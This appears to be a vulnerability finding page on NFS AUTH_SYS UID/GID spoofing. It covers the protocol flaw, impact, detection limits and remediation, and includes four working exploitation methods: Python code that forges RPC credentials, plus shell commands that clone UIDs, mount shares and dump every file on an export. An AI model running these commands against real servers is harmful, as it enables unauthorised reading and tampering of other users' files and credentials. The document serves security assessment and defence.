Skip to content

F-1.1: AUTH_SYS UID/GID Spoofing

Classification

  • Severity: High
  • CVSS Vector: Network / Low Complexity / No Auth Required
  • Affected Versions: NFSv2, NFSv3, NFSv4 (when using AUTH_SYS)
  • RFC Reference: RFC 1813 (NFSv3), RFC 5531 (ONC RPC)
  • Prerequisite: Network access to NFS server port (2049/tcp)

Summary

NFSv3's default authentication mechanism, AUTH_SYS (also called AUTH_UNIX), transmits user identity as a plaintext UID/GID tuple that the server trusts without cryptographic verification. An attacker who can reach the NFS port can impersonate any user (except UID 0 when root_squash is enabled) by crafting RPC requests with arbitrary credentials.

Technical detail

How AUTH_SYS works

Every NFSv3 RPC request contains an authentication credential in the call header. With AUTH_SYS, this credential is an XDR-encoded structure:

struct authsys_parms {
    unsigned int stamp;          /* arbitrary ID */
    string machinename<255>;     /* client hostname */
    unsigned int uid;            /* effective UID */
    unsigned int gid;            /* effective GID */
    unsigned int gids<16>;       /* auxiliary GIDs (max 16) */
};

The NFS server extracts uid, gid, and gids from this structure and uses them directly for all permission checks against the exported filesystem. There is no verification that these values correspond to an actual authenticated user.

The vulnerability

The server performs permission checks using the client-supplied identifiers:

  1. Client sends LOOKUP for file /home/alice/secret.txt
  2. Server checks if file permissions allow access for UID=1000, GID=1000 (values from the RPC credential)
  3. If the file is 0600 alice:alice (UID 1000), access is granted

An attacker simply needs to set their RPC credential to uid=1000, gid=1000 to gain full access to Alice's files. The server has no way to distinguish this from a legitimate request.

Wire format (hex dump)

AUTH_SYS credential on the wire:
00 00 00 01          # AUTH_UNIX flavor (1)
00 00 00 1c          # credential length (28 bytes)
00 00 00 00          # stamp
00 00 00 06          # hostname length
61 74 74 61 63 6b   # "attack"
00 00                # padding
00 00 03 e8          # uid = 1000
00 00 03 e8          # gid = 1000
00 00 00 01          # 1 auxiliary GID
00 00 03 e8          # aux gid = 1000

Changing four bytes (the UID field) is all that separates one user's identity from another.

Exploitation

Method 1: Direct UID spoofing via custom client

# Using anfs library to spoof arbitrary UID/GID
from anfs.protocol.rpc.messages import AUTH_SYS
from anfs.protocol.nfs3.common.factory import NFS3ConnectionFactory

factory = NFS3ConnectionFactory.from_url("nfs://target/?privport=1")

# Spoof as UID 1000 (target user)
factory.credential = AUTH_SYS(0, "attacker", 1000, 1000, [1000])
client = factory.get_client(root_fh)
await client.connect()

# Now read files owned by UID 1000
data = await client.read(file_handle, offset=0, count=65536)

Method 2: Local user creation + kernel NFS client

# Create local user with target UID
useradd -u 1000 -o fakeuser

# Mount the NFS share
mount -t nfs -o vers=3,nolock target:/export /mnt

# Access files as the spoofed user
su fakeuser -c "cat /mnt/secret.txt"

Method 3: fuse_nfs auto-spoofing

# Automatically impersonate each file's owner for transparent access
fuse_nfs /mnt/nfs target --export /home --fake-uid

# All files are now readable regardless of owner
find /mnt/nfs -type f -exec cat {} \;

Method 4: NFS RPC credential injection via libnfs

# Use LD_PRELOAD to override UID in NFS operations
LD_NFS_UID=1000 LD_NFS_GID=1000 LD_PRELOAD=./ld_nfs.so \
    cat nfs://target/export/secret.txt

Impact

  • Confidentiality: Read any file on the export owned by non-root users
  • Integrity: Write/modify any file on the export owned by non-root users
  • Availability: Delete files, fill quotas, corrupt data
  • Lateral movement: Access SSH keys, credentials, configuration files
  • Data exfiltration: Bulk download of sensitive data from shared exports

Limitations

  • UID 0 is blocked by default (root_squash) — see F-4.1
  • Only 16 auxiliary GIDs can be specified per RPC call
  • If all_squash is enabled, all UIDs map to nobody (65534)
  • Kerberos (sec=krb5) defeats this attack entirely

Detection

  • No reliable server-side detection exists — the NFS kernel server does not log per-request UID/GID
  • auditd cannot monitor NFS kernel operations (they bypass the audit subsystem)
  • Network-level detection requires deep RPC inspection to flag UID inconsistencies
  • The rmtab and showmount -a show connected clients but not which UIDs they claim

Remediation

  1. Use Kerberos authentication: sec=krb5p provides authentication, integrity, and encryption
  2. Enable all_squash: Maps all access to nobody, removing UID trust
  3. Restrict exports by IP: Limit which hosts can mount each export
  4. Network segmentation: Isolate NFS traffic to trusted VLANs
  5. Migrate to NFSv4 with RPCSEC_GSS: Principal-based authentication replaces host trust